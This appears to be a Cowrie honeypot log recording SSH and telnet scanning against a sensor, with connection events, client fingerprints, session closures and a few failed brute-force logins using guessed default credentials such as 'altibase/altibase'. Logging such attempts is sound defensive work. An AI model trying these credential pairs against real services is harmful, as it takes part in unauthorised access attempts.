{"eventid":"cowrie.login.failed","username":"user","password":"999999","message":"login attempt [user/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:30.357194Z","src_ip":"103.215.80.173","session":"02a98655b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.846566915512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:31.464563Z","src_ip":"152.53.125.71","session":"c0d3bedc0680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:31.575734Z","src_ip":"103.215.80.173","session":"02a98655b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.724360466003418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:33.066242Z","src_ip":"152.53.125.71","session":"ab5bc2846f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653139352798462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:33.174358Z","src_ip":"152.53.125.71","session":"2a7ca009b2fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61940622329712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:33.200020Z","src_ip":"152.53.125.71","session":"b67cfcefcd4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610532999038696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:33.221400Z","src_ip":"152.53.125.71","session":"88cf32177f65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80186128616333,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:33.378979Z","src_ip":"159.203.13.64","session":"5b47908038fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567112922668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:34.049147Z","src_ip":"152.53.125.71","session":"f46c9ea82f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41464,"dst_ip":"10.17.0.5","dst_port":23,"session":"096e24bc5e97","protocol":"telnet","message":"New connection: 152.53.125.71:41464 (10.17.0.5:23) [session: 096e24bc5e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:34.057423Z"}
{"eventid":"cowrie.session.closed","duration":30.91380262374878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:35.323870Z","src_ip":"152.53.125.71","session":"151e66065aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116836309432983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:35.393333Z","src_ip":"152.53.125.71","session":"40801d0f7adb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33944,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec023b83ae78","protocol":"telnet","message":"New connection: 159.203.13.64:33944 (10.17.0.5:23) [session: ec023b83ae78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:35.682737Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":38934,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e06946ab9a6","protocol":"telnet","message":"New connection: 152.53.125.71:38934 (10.17.0.5:23) [session: 2e06946ab9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:35.760422Z"}
{"eventid":"cowrie.session.closed","duration":30.325603723526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:36.082908Z","src_ip":"37.97.152.182","session":"94e6ea59a1a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910766124725342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:36.199419Z","src_ip":"152.53.125.71","session":"9b4b9b47a062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"338ecff323d8","protocol":"telnet","message":"New connection: 152.53.125.71:38946 (10.17.0.5:23) [session: 338ecff323d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:36.266322Z"}
{"eventid":"cowrie.session.closed","duration":31.07226300239563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:36.337859Z","src_ip":"152.53.125.71","session":"674d67b3c4a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856617212295532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:36.398453Z","src_ip":"152.53.125.71","session":"8197b477bc72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":38960,"dst_ip":"10.17.0.5","dst_port":23,"session":"21aff7fa4594","protocol":"telnet","message":"New connection: 152.53.125.71:38960 (10.17.0.5:23) [session: 21aff7fa4594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:36.688743Z"}
{"eventid":"cowrie.session.closed","duration":30.591029405593872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:37.087373Z","src_ip":"152.53.125.71","session":"d5c685c71dbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79387664794922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:37.219209Z","src_ip":"152.53.125.71","session":"fbebc0f2fa31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.258453845977783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:37.586513Z","src_ip":"152.53.125.71","session":"4dc069ea87e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1519775390625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:38.379377Z","src_ip":"152.53.125.71","session":"ffeed2e66b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94163489341736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:38.405669Z","src_ip":"152.53.125.71","session":"acedbe88a12f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":38970,"dst_ip":"10.17.0.5","dst_port":23,"session":"351af32012ec","protocol":"telnet","message":"New connection: 152.53.125.71:38970 (10.17.0.5:23) [session: 351af32012ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:38.673935Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bd744c363b1","protocol":"telnet","message":"New connection: 152.53.125.71:38984 (10.17.0.5:23) [session: 3bd744c363b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:39.388628Z"}
{"eventid":"cowrie.session.closed","duration":30.859891176223755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:41.447664Z","src_ip":"152.53.125.71","session":"3b02abad70ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":38994,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b062fa2496","protocol":"telnet","message":"New connection: 152.53.125.71:38994 (10.17.0.5:23) [session: 47b062fa2496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:41.567124Z"}
{"eventid":"cowrie.session.closed","duration":30.938937187194824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:42.451524Z","src_ip":"152.53.125.71","session":"03504907e14a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791306972503662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:45.248348Z","src_ip":"152.53.125.71","session":"7ce637ef2e8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58298,"dst_ip":"10.17.0.5","dst_port":23,"session":"15eda00133f5","protocol":"telnet","message":"New connection: 152.53.125.71:58298 (10.17.0.5:23) [session: 15eda00133f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:45.486986Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36042,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2011d12b811","protocol":"ssh","message":"New connection: 159.203.92.129:36042 (159.203.135.109:22) [session: a2011d12b811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:45.877763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:45.882704Z","src_ip":"159.203.92.129","session":"a2011d12b811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:45.888335Z","src_ip":"159.203.92.129","session":"a2011d12b811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"altibase","password":"altibase","message":"login attempt [altibase/altibase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:45.901006Z","src_ip":"159.203.92.129","session":"a2011d12b811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.76466751098633,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:45.950177Z","src_ip":"159.203.13.64","session":"a153ae16dd7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89105796813965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:46.207867Z","src_ip":"152.53.125.71","session":"456da544be9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58300,"dst_ip":"10.17.0.5","dst_port":23,"session":"42389e2b21c4","protocol":"telnet","message":"New connection: 152.53.125.71:58300 (10.17.0.5:23) [session: 42389e2b21c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:46.585495Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:46.908276Z","src_ip":"159.203.92.129","session":"a2011d12b811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.62098717689514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:46.993436Z","src_ip":"152.53.125.71","session":"2302c27bea4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dd7dbfd9fb0","protocol":"telnet","message":"New connection: 152.53.125.71:58302 (10.17.0.5:23) [session: 4dd7dbfd9fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:47.370958Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58314,"dst_ip":"10.17.0.5","dst_port":23,"session":"e191deca8801","protocol":"telnet","message":"New connection: 152.53.125.71:58314 (10.17.0.5:23) [session: e191deca8801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:47.449251Z"}
{"eventid":"cowrie.session.closed","duration":31.029566526412964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:47.553284Z","src_ip":"152.53.125.71","session":"022587cbd02d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949650526046753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:47.557374Z","src_ip":"152.53.125.71","session":"e7a5ae0b3d3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.297480583190918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:47.705921Z","src_ip":"152.53.125.71","session":"8dfed61ae67b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689152240753174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:48.137568Z","src_ip":"152.53.125.71","session":"b2c6f3db7b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58324,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b28d94994e9","protocol":"telnet","message":"New connection: 152.53.125.71:58324 (10.17.0.5:23) [session: 6b28d94994e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:48.519469Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"80eeceaa581c","protocol":"telnet","message":"New connection: 152.53.125.71:58334 (10.17.0.5:23) [session: 80eeceaa581c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:48.642641Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58338,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea4a005d3633","protocol":"telnet","message":"New connection: 152.53.125.71:58338 (10.17.0.5:23) [session: ea4a005d3633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:49.956696Z"}
{"eventid":"cowrie.session.closed","duration":30.49956226348877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:50.155703Z","src_ip":"152.53.125.71","session":"763ccf337d14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58348,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5385191097","protocol":"telnet","message":"New connection: 152.53.125.71:58348 (10.17.0.5:23) [session: ef5385191097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:50.446221Z"}
{"eventid":"cowrie.session.closed","duration":31.666564464569092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:51.025116Z","src_ip":"152.53.125.71","session":"4cf545aab59c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58360,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ccd88b39431","protocol":"telnet","message":"New connection: 152.53.125.71:58360 (10.17.0.5:23) [session: 5ccd88b39431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:51.300405Z"}
{"eventid":"cowrie.session.closed","duration":30.777474403381348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:51.422812Z","src_ip":"152.53.125.71","session":"681225564ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58364,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f43a1e169bc","protocol":"telnet","message":"New connection: 152.53.125.71:58364 (10.17.0.5:23) [session: 1f43a1e169bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:51.465372Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58378,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd7e0176376","protocol":"telnet","message":"New connection: 152.53.125.71:58378 (10.17.0.5:23) [session: abd7e0176376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:51.469394Z"}
{"eventid":"cowrie.session.closed","duration":30.664047479629517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.069754Z","src_ip":"152.53.125.71","session":"0192c164e6da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928480625152588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.263383Z","src_ip":"152.53.125.71","session":"23d0d0f39ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58394,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e6e22b10006","protocol":"telnet","message":"New connection: 152.53.125.71:58394 (10.17.0.5:23) [session: 3e6e22b10006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.294852Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":56546,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14daae70275","protocol":"ssh","message":"New connection: 186.13.24.118:56546 (159.203.135.109:22) [session: b14daae70275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.316006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.319730Z","src_ip":"186.13.24.118","session":"b14daae70275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58404,"dst_ip":"10.17.0.5","dst_port":23,"session":"2890fdae3738","protocol":"telnet","message":"New connection: 152.53.125.71:58404 (10.17.0.5:23) [session: 2890fdae3738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.451820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58410,"dst_ip":"10.17.0.5","dst_port":23,"session":"c65996a5848d","protocol":"telnet","message":"New connection: 152.53.125.71:58410 (10.17.0.5:23) [session: c65996a5848d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.455467Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.489892Z","src_ip":"186.13.24.118","session":"b14daae70275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35376,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfda8cf2b443","protocol":"telnet","message":"New connection: 159.203.13.64:35376 (10.17.0.5:23) [session: cfda8cf2b443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:52.971028Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"password1234","message":"login attempt [test/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:53.194288Z","src_ip":"186.13.24.118","session":"b14daae70275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.787503004074097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:53.295883Z","src_ip":"152.53.125.71","session":"169553496cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956368923187256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:53.385059Z","src_ip":"152.53.125.71","session":"9f8a5a28a726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:54.365099Z","src_ip":"186.13.24.118","session":"b14daae70275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58426,"dst_ip":"10.17.0.5","dst_port":23,"session":"33a44d6d5513","protocol":"telnet","message":"New connection: 152.53.125.71:58426 (10.17.0.5:23) [session: 33a44d6d5513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:54.374431Z"}
{"eventid":"cowrie.session.closed","duration":30.764530897140503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:55.327038Z","src_ip":"152.53.125.71","session":"a63ff2c244a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172677755355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:55.412826Z","src_ip":"152.53.125.71","session":"660e7cf06f92","protocol":"telnet"}
